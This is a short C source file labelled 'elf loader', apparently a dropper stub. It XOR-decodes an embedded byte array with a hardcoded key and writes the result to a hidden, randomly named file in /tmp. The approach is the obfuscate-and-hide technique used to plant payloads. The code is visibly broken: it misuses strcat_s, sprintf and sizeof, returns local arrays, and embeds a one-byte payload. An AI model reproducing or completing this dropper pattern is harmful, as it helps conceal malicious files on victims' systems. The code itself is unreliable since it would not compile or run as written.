elf loader

#include <stdio.h>
#include <time.h>

unsigned char fileBytes[] = {
  0x4D
};

char* randName()
{
  const char chars[] = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890";
  int i;
  char ret[5];
  for(i = 0; i < 5; i++)
  {
    strcat_s(ret, sizeof(ret), chars[rand() % sizeof(sizeof(chars) / sizeof(chars[0]))]);
  }
  return ret;
}

char* XOR(char* bytes)
{
  char key[] = "fsfsdfdsf";
  int i;
  char ret[sizeof(bytes)];
  for(i = 0; i < sizeof(bytes); i++)
  {
    ret[i] = (bytes[i] ^ key[i % (sizeof(key) / sizeof(key[0])]);
  }
  return ret;
}

int main()
{
  FILE* pFile = fopen(sprintf("/tmp/.%s", randName()), "wb");
  const char* data = XOR(fileBytes);
  fwrite(data, 1, sizeof(data), pFile);
  fclose(pFile);
}